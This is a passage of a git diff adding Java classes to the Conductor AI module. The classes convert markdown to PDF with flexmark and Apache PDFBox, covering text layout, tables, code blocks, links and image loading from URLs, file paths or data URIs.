b/ai/src/main/java/org/conductoross/conductor/ai/pdf/MarkdownToPdfConverter.java new file mode 100644 index 0000000..3d4673b --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/pdf/MarkdownToPdfConverter.java @@ -0,0 +1,153 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.pdf; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.util.List; +import java.util.Map; + +import org.apache.pdfbox.pdmodel.PDDocument; +import org.apache.pdfbox.pdmodel.PDDocumentInformation; +import org.apache.pdfbox.pdmodel.common.PDRectangle; +import org.conductoross.conductor.ai.model.MarkdownToPdfRequest; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import com.vladsch.flexmark.ext.autolink.AutolinkExtension; +import com.vladsch.flexmark.ext.definition.DefinitionExtension; +import com.vladsch.flexmark.ext.footnotes.FootnoteExtension; +import com.vladsch.flexmark.ext.gfm.strikethrough.StrikethroughExtension; +import com.vladsch.flexmark.ext.gfm.tasklist.TaskListExtension; +import com.vladsch.flexmark.ext.tables.TablesExtension; +import com.vladsch.flexmark.parser.Parser; +import com.vladsch.flexmark.util.ast.Document; +import com.vladsch.flexmark.util.data.MutableDataSet; +import lombok.extern.slf4j.Slf4j; + +/** + * Orchestrates the conversion of Markdown text to PDF. Parses markdown using flexmark-java, then + * renders the AST to PDF using Apache PDFBox via {@link PdfDocumentRenderer}. + */ +@Component +@Conditional(AIIntegrationEnabledCondition.class) +@Slf4j +public class MarkdownToPdfConverter { + + private final PdfImageResolver imageResolver; + + public MarkdownToPdfConverter(PdfImageResolver imageResolver) { + this.imageResolver = imageResolver; + } + + /** + * Converts markdown text to a PDF byte array. + * + * @param request the conversion request containing markdown and layout options + * @return the generated PDF as a byte array + */ + public byte[] convert(MarkdownToPdfRequest request) { + if (request.getMarkdown() == null) { + throw new IllegalArgumentException("markdown content must not be null"); + } + + // Step 1: Parse markdown to AST + Document markdownAst = parseMarkdown(request.getMarkdown()); + + // Step 2: Create PDF document + try (PDDocument document = new PDDocument()) { + // Step 3: Configure page size + PDRectangle pageSize = resolvePageSize(request.getPageSize()); + + // Step 4: Set PDF metadata + setMetadata(document, request.getPdfMetadata()); + + // Step 5: Create render context + boolean compact = "compact".equalsIgnoreCase(request.getTheme()); + PdfRenderContext ctx = + new PdfRenderContext( + document, + pageSize, + request.getMarginTop(), + request.getMarginRight(), + request.getMarginBottom(), + request.getMarginLeft(), + request.getBaseFontSize(), + compact); + + // Step 6: Render AST to PDF + PdfDocumentRenderer renderer = + new PdfDocumentRenderer(ctx, imageResolver, request.getImageBaseUrl()); + renderer.render(markdownAst); + + // Step 7: Close the last content stream + if (ctx.getContentStream() != null) { + ctx.getContentStream().close(); + } + + // Step 8: Save to bytes + ByteArrayOutputStream out = new ByteArrayOutputStream(); + document.save(out); + return out.toByteArray(); + + } catch (IOException e) { + throw new RuntimeException("Failed to generate PDF from markdown", e); + } + } + + private Document parseMarkdown(String markdown) { + MutableDataSet options = new MutableDataSet(); + options.set( + Parser.EXTENSIONS, + List.of( + TablesExtension.create(), + StrikethroughExtension.create(), + TaskListExtension.create(), + FootnoteExtension.create(), + AutolinkExtension.create(), + DefinitionExtension.create())); + + Parser parser = Parser.builder(options).build(); + return parser.parse(markdown); + } + + private PDRectangle resolvePageSize(String pageSize) { + if (pageSize == null) return PDRectangle.A4; + return switch (pageSize.toUpperCase()) { + case "LETTER" -> PDRectangle.LETTER; + case "LEGAL" -> PDRectangle.LEGAL; + case "A3" -> new PDRectangle(841.89f, 1190.55f); + case "A5" -> new PDRectangle(419.53f, 595.28f); + default -> PDRectangle.A4; + }; + } + + private void setMetadata(PDDocument document, Map pdfMetadata) { + if (pdfMetadata == null || pdfMetadata.isEmpty()) return; + + PDDocumentInformation info = document.getDocumentInformation(); + if (pdfMetadata.containsKey("title")) { + info.setTitle(pdfMetadata.get("title")); + } + if (pdfMetadata.containsKey("author")) { + info.setAuthor(pdfMetadata.get("author")); + } + if (pdfMetadata.containsKey("subject")) { + info.setSubject(pdfMetadata.get("subject")); + } + if (pdfMetadata.containsKey("keywords")) { + info.setKeywords(pdfMetadata.get("keywords")); + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/pdf/PdfDocumentRenderer.java b/ai/src/main/java/org/conductoross/conductor/ai/pdf/PdfDocumentRenderer.java new file mode 100644 index 0000000..f996b64 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/pdf/PdfDocumentRenderer.java @@ -0,0 +1,792 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.pdf; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +import org.apache.pdfbox.pdmodel.PDPageContentStream; +import org.apache.pdfbox.pdmodel.common.PDRectangle; +import org.apache.pdfbox.pdmodel.font.PDType1Font; +import org.apache.pdfbox.pdmodel.graphics.image.PDImageXObject; +import org.apache.pdfbox.pdmodel.interactive.action.PDActionURI; +import org.apache.pdfbox.pdmodel.interactive.annotation.PDAnnotationLink; + +import com.vladsch.flexmark.ast.*; +import com.vladsch.flexmark.ext.footnotes.Footnote; +import com.vladsch.flexmark.ext.gfm.strikethrough.Strikethrough; +import com.vladsch.flexmark.ext.gfm.tasklist.TaskListItem; +import com.vladsch.flexmark.ext.tables.*; +import com.vladsch.flexmark.util.ast.Document; +import com.vladsch.flexmark.util.ast.Node; +import lombok.extern.slf4j.Slf4j; + +/** + * Walks the flexmark markdown AST and renders each node type to PDF using Apache PDFBox. Handles + * word wrapping, page breaks, inline formatting, tables, images, lists, code blocks, blockquotes, + * and links. + */ +@Slf4j +public class PdfDocumentRenderer { + + private final PdfRenderContext ctx; + private final PdfImageResolver imageResolver; + private final String imageBaseUrl; + + public PdfDocumentRenderer( + PdfRenderContext ctx, PdfImageResolver imageResolver, String imageBaseUrl) { + this.ctx = ctx; + this.imageResolver = imageResolver; + this.imageBaseUrl = imageBaseUrl; + } + + /** Renders the entire markdown document AST to PDF. */ + public void render(Document document) throws IOException { + ctx.newPage(); + renderChildren(document); + } + + private void renderChildren(Node parent) throws IOException { + Node child = parent.getFirstChild(); + while (child != null) { + renderNode(child); + child = child.getNext(); + } + } + + private void renderNode(Node node) throws IOException { + if (node instanceof Heading) { + renderHeading((Heading) node); + } else if (node instanceof Paragraph) { + renderParagraph((Paragraph) node); + } else if (node instanceof BulletList) { + renderBulletList((BulletList) node); + } else if (node instanceof OrderedList) { + renderOrderedList((OrderedList) node); + } else if (node instanceof FencedCodeBlock) { + renderFencedCodeBlock((FencedCodeBlock) node); + } else if (node instanceof IndentedCodeBlock) { + renderIndentedCodeBlock((IndentedCodeBlock) node); + } else if (node instanceof BlockQuote) { + renderBlockQuote((BlockQuote) node); + } else if (node instanceof ThematicBreak) { + renderThematicBreak(); + } else if (node instanceof TableBlock) { + renderTable((TableBlock) node); + } else if (node instanceof HtmlBlock) { + renderHtmlBlock((HtmlBlock) node); + } else { + // Unknown block-level node: try rendering children + renderChildren(node); + } + } + + // ======================================================================== + // Block-level rendering + // ======================================================================== + + private void renderHeading(Heading heading) throws IOException { + float scale = + switch (heading.getLevel()) { + case 1 -> 2.0f; + case 2 -> 1.6f; + case 3 -> 1.3f; + case 4 -> 1.15f; + case 5 -> 1.0f; + default -> 0.9f; + }; + + float fontSize = ctx.getBaseFontSize() * scale; + float spacing = ctx.isCompact() ? fontSize * 0.5f : fontSize * 0.8f; + + ctx.ensureSpace(fontSize + spacing * 2); + ctx.advanceCursor(spacing); + + List runs = collectTextRuns(heading); + // Force bold for headings + for (TextRun run : runs) { + run.bold = true; + } + renderTextRuns(runs, fontSize); + + // Draw underline for h1 and h2 + if (heading.getLevel() <= 2) { + ctx.advanceCursor(3f); + PDPageContentStream cs = ctx.getContentStream(); + cs.setStrokingColor(0.85f, 0.85f, 0.85f); + cs.setLineWidth(0.5f); + cs.moveTo(ctx.getLeftX(), ctx.getCursorY()); + cs.lineTo(ctx.getRightX(), ctx.getCursorY()); + cs.stroke(); + ctx.advanceCursor(3f); + } + + ctx.advanceCursor(spacing * 0.5f); + } + + private void renderParagraph(Paragraph paragraph) throws IOException { + // Check if paragraph contains only an image + if (paragraph.getFirstChild() instanceof Image + && paragraph.getFirstChild() == paragraph.getLastChild()) { + renderImage((Image) paragraph.getFirstChild()); + return; + } + + float fontSize = ctx.getBaseFontSize(); + float spacing = ctx.isCompact() ? fontSize * 0.3f : fontSize * 0.5f; + + ctx.ensureSpace(ctx.getLineHeight(fontSize) + spacing); + ctx.advanceCursor(spacing); + + List runs = collectTextRuns(paragraph); + renderTextRuns(runs, fontSize); + + ctx.advanceCursor(spacing); + } + + private void renderBulletList(BulletList list) throws IOException { + float spacing = ctx.isCompact() ? 2f : 4f; + ctx.advanceCursor(spacing); + ctx.setListIndentLevel(ctx.getListIndentLevel() + 1); + + Node item = list.getFirstChild(); + while (item != null) { + if (item instanceof TaskListItem taskItem) { + String marker = taskItem.isItemDoneMarker() ? "[x] " : "[ ] "; + renderListItem(item, marker); + } else if (item instanceof BulletListItem) { + renderListItem(item, "- "); + } + item = item.getNext(); + } + + ctx.setListIndentLevel(ctx.getListIndentLevel() - 1); + ctx.advanceCursor(spacing); + } + + private void renderOrderedList(OrderedList list) throws IOException { + float spacing = ctx.isCompact() ? 2f : 4f; + ctx.advanceCursor(spacing); + ctx.setListIndentLevel(ctx.getListIndentLevel() + 1); + + int number = list.getStartNumber(); + Node item = list.getFirstChild(); + while (item != null) { + if (item instanceof OrderedListItem) { + renderListItem(item, number + ". "); + number++; + } + item = item.getNext(); + } + + ctx.setListIndentLevel(ctx.getListIndentLevel() - 1); + ctx.advanceCursor(spacing); + } + + private void renderListItem(Node item, String marker) throws IOException { + float fontSize = ctx.getBaseFontSize(); + ctx.ensureSpace(ctx.getLineHeight(fontSize)); + + // Render marker + PDPageContentStream cs = ctx.getContentStream(); + cs.beginText(); + cs.setFont(ctx.getRegularFont(), fontSize); + cs.newLineAtOffset(ctx.getLeftX(), ctx.getCursorY() - fontSize); + cs.showText(sanitizeText(marker, ctx.getRegularFont())); + cs.endText(); + + // Render item content inline (offset by marker width) + float markerWidth; + try { + markerWidth = ctx.getTextWidth(marker, ctx.getRegularFont(), fontSize); + } catch (IOException e) { + markerWidth = fontSize * marker.length() * 0.5f; + } + + // Render paragraphs and nested lists within the item + Node child = item.getFirstChild(); + boolean firstChild = true; + while (child != null) { + if (child instanceof Paragraph) { + if (firstChild) { + // First paragraph renders on the same line as the marker + List runs = collectTextRuns(child); + renderTextRunsWithOffset(runs, fontSize, markerWidth); + firstChild = false; + } else { + renderParagraph((Paragraph) child); + } + } else if (child instanceof BulletList) { + renderBulletList((BulletList) child); + } else if (child instanceof OrderedList) { + renderOrderedList((OrderedList) child); + } else { + renderNode(child); + } + child = child.getNext(); + } + + if (firstChild) { + // No paragraph children - item has inline content only + ctx.advanceCursor(ctx.getLineHeight(fontSize)); + } + } + + private void renderFencedCodeBlock(FencedCodeBlock codeBlock) throws IOException { + renderCodeContent(codeBlock.getContentChars().toString()); + } + + private void renderIndentedCodeBlock(IndentedCodeBlock codeBlock) throws IOException { + renderCodeContent(codeBlock.getContentChars().toString()); + } + + private void renderCodeContent(String code) throws IOException { + float fontSize = ctx.getBaseFontSize() * 0.85f; + float lineHeight = ctx.getLineHeight(fontSize); + float padding = 8f; + + String[] lines = code.split("\n", -1); + // Remove trailing empty line if present + if (lines.length > 0 && lines[lines.length - 1].isBlank()) { + String[] trimmed = new String[lines.length - 1]; + System.arraycopy(lines, 0, trimmed, 0, trimmed.length); + lines = trimmed; + } + + float blockHeight = lines.length * lineHeight + padding * 2; + ctx.ensureSpace(Math.min(blockHeight, ctx.getLineHeight(fontSize) * 3)); + ctx.advanceCursor(ctx.isCompact() ? 4f : 8f); + + // Draw background rectangle + float bgTop = ctx.getCursorY() + fontSize * 0.3f; + float bgWidth = ctx.getContentWidth(); + PDPageContentStream cs = ctx.getContentStream(); + cs.setNonStrokingColor(0.96f, 0.96f, 0.96f); + cs.addRect(ctx.getLeftX(), bgTop - blockHeight, bgWidth, blockHeight); + cs.fill(); + cs.setNonStrokingColor(0f, 0f, 0f); + + // Render each line + float codeX = ctx.getLeftX() + padding; + for (String line : lines) { + ctx.ensureSpace(lineHeight); + cs = ctx.getContentStream(); + cs.beginText(); + cs.setFont(ctx.getMonoFont(), fontSize); + cs.newLineAtOffset(codeX, ctx.getCursorY() - fontSize); + // Truncate lines that are too wide + String displayLine = + truncateToFit(line, ctx.getMonoFont(), fontSize, bgWidth - padding * 2); + cs.showText(sanitizeText(displayLine, ctx.getMonoFont())); + cs.endText(); + ctx.advanceCursor(lineHeight); + } + + ctx.advanceCursor(ctx.isCompact() ? 4f : 8f); + } + + private void renderBlockQuote(BlockQuote blockQuote) throws IOException { + float spacing = ctx.isCompact() ? 3f : 6f; + ctx.advanceCursor(spacing); + + boolean wasInBlockquote = ctx.isInBlockquote(); + ctx.setInBlockquote(true); + + // Record Y position before rendering children for the vertical bar + float startY = ctx.getCursorY(); + + renderChildren(blockQuote); + + float endY = ctx.getCursorY(); + + // Draw vertical gray bar on the left + float barX = ctx.getLeftX() - 10f; + PDPageContentStream cs = ctx.getContentStream(); + cs.setStrokingColor(0.8f, 0.8f, 0.8f); + cs.setLineWidth(3f); + cs.moveTo(barX, startY); + cs.lineTo(barX, endY); + cs.stroke(); + cs.setStrokingColor(0f, 0f, 0f); + + ctx.setInBlockquote(wasInBlockquote); + ctx.advanceCursor(spacing); + } + + private void renderThematicBreak() throws IOException { + float spacing = ctx.isCompact() ? 8f : 16f; + ctx.ensureSpace(spacing * 2); + ctx.advanceCursor(spacing); + + PDPageContentStream cs = ctx.getContentStream(); + cs.setStrokingColor(0.8f, 0.8f, 0.8f); + cs.setLineWidth(0.5f); + cs.moveTo(ctx.getLeftX(), ctx.getCursorY()); + cs.lineTo(ctx.getRightX(), ctx.getCursorY()); + cs.stroke(); + cs.setStrokingColor(0f, 0f, 0f); + + ctx.advanceCursor(spacing); + } + + private void renderImage(Image image) throws IOException { + String src = image.getUrl().toString(); + byte[] imageBytes = imageResolver.resolve(src, imageBaseUrl); + if (imageBytes == null) { + // Render alt text as placeholder + log.warn("Could not load image: {}", src); + renderPlainText("[Image: " + image.getText() + "]", ctx.getBaseFontSize()); + return; + } + + try { + PDImageXObject pdImage = + PDImageXObject.createFromByteArray(ctx.getDocument(), imageBytes, src); + + float maxWidth = ctx.getContentWidth(); + float maxHeight = + ctx.getPageHeight() - ctx.getMarginTop() - ctx.getMarginBottom() - 40f; + + // Scale to fit within content width and available height + float imgWidth = pdImage.getWidth(); + float imgHeight = pdImage.getHeight(); + + if (imgWidth > maxWidth) { + float ratio = maxWidth / imgWidth; + imgWidth = maxWidth; + imgHeight *= ratio; + } + if (imgHeight > maxHeight) { + float ratio = maxHeight / imgHeight; + imgHeight = maxHeight; + imgWidth *= ratio; + } + + ctx.ensureSpace(imgHeight + 10f); + ctx.advanceCursor(5f); + + float x = ctx.getLeftX(); + float y = ctx.getCursorY() - imgHeight; + + PDPageContentStream cs = ctx.getContentStream(); + cs.drawImage(pdImage, x, y, imgWidth, imgHeight); + + ctx.advanceCursor(imgHeight + 5f); + } catch (Exception e) { + log.warn("Failed to embed image '{}': {}", src, e.getMessage()); + renderPlainText("[Image: " + image.getText() + "]", ctx.getBaseFontSize()); + } + } + + private void renderTable(TableBlock tableBlock) throws IOException { + float fontSize = ctx.getBaseFontSize() * 0.9f; + float cellPadding = 4f; + float lineHeight = ctx.getLineHeight(fontSize); + + // Collect table data + List> headerRows = new ArrayList<>(); + List> bodyRows = new ArrayList<>(); + + Node child = tableBlock.getFirstChild(); + while (child != null) { + if (child instanceof TableHead) { + collectTableRows(child, headerRows); + } else if (child instanceof TableBody) { + collectTableRows(child, bodyRows); + } + child = child.getNext(); + } + + List> allRows = new ArrayList<>(); + allRows.addAll(headerRows); + allRows.addAll(bodyRows); + + if (allRows.isEmpty()) return; + + // Calculate column count and widths + int colCount = allRows.stream().mapToInt(List::size).max().orElse(0); + if (colCount == 0) return; + + float tableWidth = ctx.getContentWidth(); + float colWidth = tableWidth / colCount; + + ctx.advanceCursor(ctx.isCompact() ? 4f : 8f); + + // Render rows + for (int rowIdx = 0; rowIdx < allRows.size(); rowIdx++) { + List row = allRows.get(rowIdx); + boolean isHeader = rowIdx < headerRows.size(); + float rowHeight = lineHeight + cellPadding * 2; + + ctx.ensureSpace(rowHeight); + + float rowY = ctx.getCursorY(); + float cellX = ctx.getLeftX(); + + PDPageContentStream cs = ctx.getContentStream(); + + // Draw header background + if (isHeader) { + cs.setNonStrokingColor(0.96f, 0.96f, 0.96f); + cs.addRect(cellX, rowY - rowHeight, tableWidth, rowHeight); + cs.fill(); + cs.setNonStrokingColor(0f, 0f, 0f); + } + + // Draw cell text + for (int colIdx = 0; colIdx < colCount; colIdx++) { + String cellText = colIdx < row.size() ? row.get(colIdx) : ""; + PDType1Font font = isHeader ? ctx.getBoldFont() : ctx.getRegularFont(); + + // Truncate text to fit in cell + String displayText = + truncateToFit(cellText, font, fontSize, colWidth - cellPadding * 2); + + cs.beginText(); + cs.setFont(font, fontSize); + cs.newLineAtOffset(cellX + cellPadding, rowY - cellPadding - fontSize); + cs.showText(sanitizeText(displayText, font)); + cs.endText(); + + cellX += colWidth; + } + + // Draw cell borders + cs.setStrokingColor(0.85f, 0.85f, 0.85f); + cs.setLineWidth(0.5f); + // Top border + cs.moveTo(ctx.getLeftX(), rowY); + cs.lineTo(ctx.getLeftX() + tableWidth, rowY); + cs.stroke(); + // Bottom border + cs.moveTo(ctx.getLeftX(), rowY - rowHeight); + cs.lineTo(ctx.getLeftX() + tableWidth, rowY - rowHeight); + cs.stroke(); + // Vertical borders + float borderX = ctx.getLeftX(); + for (int i = 0; i <= colCount; i++) { + cs.moveTo(borderX, rowY); + cs.lineTo(borderX, rowY - rowHeight); + cs.stroke(); + borderX += colWidth; + } + cs.setStrokingColor(0f, 0f, 0f); + + ctx.advanceCursor(rowHeight); + } + + ctx.advanceCursor(ctx.isCompact() ? 4f : 8f); + } + + private void collectTableRows(Node section, List> rows) { + Node row = section.getFirstChild(); + while (row != null) { + if (row instanceof TableRow) { + List cells = new ArrayList<>(); + Node cell = row.getFirstChild(); + while (cell != null) { + if (cell instanceof TableCell) { + cells.add(cell.getChars().toString().trim()); + } + cell = cell.getNext(); + } + rows.add(cells); + } + row = row.getNext(); + } + } + + private void renderHtmlBlock(HtmlBlock htmlBlock) throws IOException { + // Render raw HTML as plain text + String text = htmlBlock.getChars().toString().trim(); + if (!text.isEmpty()) { + renderPlainText(text, ctx.getBaseFontSize()); + } + } + + // ======================================================================== + // Inline text rendering + // ======================================================================== + + /** A styled text run within a paragraph. */ + static class TextRun { + String text; + boolean bold; + boolean italic; + boolean code; + boolean strikethrough; + String linkUrl; + + TextRun( + String text, + boolean bold, + boolean italic, + boolean code, + boolean strikethrough, + String linkUrl) { + this.text = text; + this.bold = bold; + this.italic = italic; + this.code = code; + this.strikethrough = strikethrough; + this.linkUrl = linkUrl; + } + } + + /** Collects all inline text runs from a block node, preserving formatting. */ + private List collectTextRuns(Node block) { + List runs = new ArrayList<>(); + collectInlineRuns(block, runs, false, false, false, false, null); + return runs; + } + + private void collectInlineRuns( + Node node, + List runs, + boolean bold, + boolean italic, + boolean code, + boolean strikethrough, + String linkUrl) { + Node child = node.getFirstChild(); + while (child != null) { + if (child instanceof Text) { + String text = child.getChars().toString(); + if (!text.isEmpty()) { + runs.add(new TextRun(text, bold, italic, code, strikethrough, linkUrl)); + } + } else if (child instanceof SoftLineBreak || child instanceof HardLineBreak) { + runs.add(new TextRun("\n", bold, italic, code, strikethrough, linkUrl)); + } else if (child instanceof Code) { + String text = ((Code) child).getText().toString(); + runs.add(new TextRun(text, bold, italic, true, strikethrough, linkUrl)); + } else if (child instanceof StrongEmphasis) { + collectInlineRuns(child, runs, true, italic, code, strikethrough, linkUrl); + } else if (child instanceof Emphasis) { + collectInlineRuns(child, runs, bold, true, code, strikethrough, linkUrl); + } else if (child instanceof Strikethrough) { + collectInlineRuns(child, runs, bold, italic, code, true, linkUrl); + } else if (child instanceof Link link) { + collectInlineRuns( + child, runs, bold, italic, code, strikethrough, link.getUrl().toString()); + } else if (child instanceof Image image) { + // Inline image - add placeholder text + runs.add( + new TextRun( + "[" + image.getText() + "]", + bold, + italic, + code, + strikethrough, + linkUrl)); + } else if (child instanceof Footnote) { + runs.add(new TextRun("[*]", bold, italic, code, strikethrough, linkUrl)); + } else if (child instanceof HtmlInline) { + // Skip inline HTML tags + } else { + // Recurse into unknown inline nodes + collectInlineRuns(child, runs, bold, italic, code, strikethrough, linkUrl); + } + child = child.getNext(); + } + } + + /** Renders text runs with word wrapping across the content area. */ + private void renderTextRuns(List runs, float fontSize) throws IOException { + renderTextRunsWithOffset(runs, fontSize, 0f); + } + + /** + * Renders text runs with word wrapping, with an initial X offset (used for list items where the + * marker occupies the start of the first line). + */ + private void renderTextRunsWithOffset(List runs, float fontSize, float initialOffset) + throws IOException { + float x = ctx.getLeftX() + initialOffset; + float maxX = ctx.getRightX(); + float lineHeight = ctx.getLineHeight(fontSize); + boolean firstLine = true; + + for (TextRun run : runs) { + PDType1Font font = resolveFont(run); + float runFontSize = run.code ? fontSize * 0.85f : fontSize; + + if (run.text.equals("\n")) { + // Explicit line break + ctx.advanceCursor(lineHeight); + ctx.ensureSpace(lineHeight); + x = ctx.getLeftX(); + firstLine = false; + continue; + } + + // Split into words for wrapping + String[] words = run.text.split("(?<=\\s)|(?=\\s)"); + for (String word : words) { + if (word.isEmpty()) continue; + + float wordWidth = ctx.getTextWidth(word, font, runFontSize); + + // Wrap to next line if needed + if (x + wordWidth > maxX && x > ctx.getLeftX() + 1f) { + ctx.advanceCursor(lineHeight); + ctx.ensureSpace(lineHeight); + x = ctx.getLeftX(); + firstLine = false; + // Skip leading whitespace on new line + if (word.isBlank()) continue; + } + + if (firstLine && x == ctx.getLeftX() + initialOffset) { + // First word on first line - position cursor + } else if (x == ctx.getLeftX()) { + // First word on a new line - position cursor + } + + PDPageContentStream cs = ctx.getContentStream(); + + // Draw code background + if (run.code) { + cs.setNonStrokingColor(0.94f, 0.94f, 0.94f); + cs.addRect( + x - 1f, + ctx.getCursorY() - runFontSize - 1f, + wordWidth + 2f, + runFontSize + 3f); + cs.fill(); + cs.setNonStrokingColor(0f, 0f, 0f); + } + + // Draw text + if (run.linkUrl != null) { + cs.setNonStrokingColor(0.02f, 0.4f, 0.84f); + } + + cs.beginText(); + cs.setFont(font, runFontSize); + cs.newLineAtOffset(x, ctx.getCursorY() - fontSize); + cs.showText(sanitizeText(word, font)); + cs.endText(); + + // Draw strikethrough line + if (run.strikethrough) { + float strikeY = ctx.getCursorY() - fontSize * 0.35f; + cs.setLineWidth(0.5f); + cs.moveTo(x, strikeY); + cs.lineTo(x + wordWidth, strikeY); + cs.stroke(); + } + + // Add link annotation + if (run.linkUrl != null) { + cs.setNonStrokingColor(0f, 0f, 0f); + addLinkAnnotation( + x, + ctx.getCursorY() - fontSize - 2f, + wordWidth, + fontSize + 4f, + run.linkUrl); + } + + x += wordWidth; + } + } + + // Advance past the last rendered line + ctx.advanceCursor(lineHeight); + } + + // ======================================================================== + // Utility methods + // ======================================================================== + + private PDType1Font resolveFont(TextRun run) { + if (run.code) return ctx.getMonoFont(); + if (run.bold && run.italic) return ctx.getBoldItalicFont(); + if (run.bold) return ctx.getBoldFont(); + if (run.italic) return ctx.getItalicFont(); + return ctx.getRegularFont(); + } + + private void renderPlainText(String text, float fontSize) throws IOException { + float lineHeight = ctx.getLineHeight(fontSize); + ctx.ensureSpace(lineHeight); + + PDPageContentStream cs = ctx.getContentStream(); + cs.beginText(); + cs.setFont(ctx.getRegularFont(), fontSize); + cs.newLineAtOffset(ctx.getLeftX(), ctx.getCursorY() - fontSize); + String displayText = + truncateToFit(text, ctx.getRegularFont(), fontSize, ctx.getContentWidth()); + cs.showText(sanitizeText(displayText, ctx.getRegularFont())); + cs.endText(); + + ctx.advanceCursor(lineHeight); + } + + private String truncateToFit(String text, PDType1Font font, float fontSize, float maxWidth) { + try { + float width = ctx.getTextWidth(text, font, fontSize); + if (width <= maxWidth) return text; + + // Binary search for truncation point + int end = text.length(); + while (end > 0 + && ctx.getTextWidth(text.substring(0, end) + "...", font, fontSize) + > maxWidth) { + end = end - Math.max(1, end / 4); + } + return end > 0 ? text.substring(0, end) + "..." : "..."; + } catch (IOException e) { + return text.length() > 50 ? text.substring(0, 50) + "..." : text; + } + } + + /** + * Sanitizes text for PDFBox rendering by replacing characters that are not encodable in the + * Standard 14 fonts (WinAnsiEncoding). Non-encodable characters are replaced with '?'. + */ + private String sanitizeText(String text, PDType1Font font) { + if (text == null || text.isEmpty()) return ""; + StringBuilder sb = new StringBuilder(text.length()); + for (int i = 0; i < text.length(); i++) { + char c = text.charAt(i); + try { + font.encode(String.valueOf(c)); + sb.append(c); + } catch (Exception e) { + sb.append('?'); + } + } + return sb.toString(); + } + + private void addLinkAnnotation(float x, float y, float width, float height, String url) { + try { + PDAnnotationLink link = new PDAnnotationLink(); + PDActionURI action = new PDActionURI(); + action.setURI(url); + link.setAction(action); + link.setRectangle(new PDRectangle(x, y, width, height)); + link.setBorderStyle(null); + + ctx.getDocument() + .getPage(ctx.getDocument().getNumberOfPages() - 1) + .getAnnotations() + .add(link); + } catch (Exception e) { + log.debug("Failed to add link annotation for URL: {}", url); + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/pdf/PdfImageResolver.java b/ai/src/main/java/org/conductoross/conductor/ai/pdf/PdfImageResolver.java new file mode 100644 index 0000000..ea8832e --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/pdf/PdfImageResolver.java @@ -0,0 +1,105 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.pdf; + +import java.util.Base64; +import java.util.List; + +import org.conductoross.conductor.ai.document.DocumentLoader; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import lombok.extern.slf4j.Slf4j; + +/** + * Resolves image references (URLs, file paths, data URIs) to raw byte arrays for embedding in PDF + * documents. Uses the existing {@link DocumentLoader} infrastructure for downloading remote and + * local images. + */ +@Component +@Conditional(AIIntegrationEnabledCondition.class) +@Slf4j +public class PdfImageResolver { + + private final List documentLoaders; + + public PdfImageResolver(List documentLoaders) { + this.documentLoaders = documentLoaders; + } + + /** + * Resolves an image source to its raw bytes. + * + * @param src the image source (data URI, http/https URL, file:// path, or relative path) + * @param imageBaseUrl optional base URL for resolving relative paths + * @return the image bytes, or null if resolution fails + */ + public byte[] resolve(String src, String imageBaseUrl) { + if (src == null || src.isBlank()) { + return null; + } + + try { + // data: URIs - decode inline base64 + if (src.startsWith("data:")) { + return decodeDataUri(src); + } + + // Resolve relative paths against base URL + String resolvedSrc = src; + if (!isAbsoluteUri(src) && imageBaseUrl != null && !imageBaseUrl.isBlank()) { + resolvedSrc = + imageBaseUrl.endsWith("/") ? imageBaseUrl + src : imageBaseUrl + "/" + src; + } + + // Download via DocumentLoader + return downloadImage(resolvedSrc); + + } catch (Exception e) { + log.warn("Failed to resolve image '{}': {}", src, e.getMessage()); + return null; + } + } + + private byte[] decodeDataUri(String dataUri) { + // Format: data:[][;base64], + int commaIndex = dataUri.indexOf(','); + if (commaIndex < 0) { + log.warn("Invalid data URI format: missing comma separator"); + return null; + } + String encoded = dataUri.substring(commaIndex + 1); + return Base64.getDecoder().decode(encoded); + } + + private boolean isAbsoluteUri(String src) { + return src.startsWith("http://") || src.startsWith("https://") || src.startsWith("file://"); + } + + private byte[] downloadImage(String location) { + return documentLoaders.stream() + .filter(loader -> loader.supports(location)) + .findFirst() + .map( + loader -> { + log.debug("Downloading image from: {}", location); + return loader.download(location); + }) + .orElseGet( + () -> { + log.warn("No DocumentLoader supports image location: {}", location); + return null; + }); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/pdf/PdfRenderContext.java b/ai/src/main/java/org/conductoross/conductor/ai/pdf/PdfRenderContext.java new file mode 100644 index 0000000..e807b9a --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/pdf/PdfRenderContext.java @@ -0,0 +1,160 @@ +/* + * Copyright 2026 Conductor Authors. + *

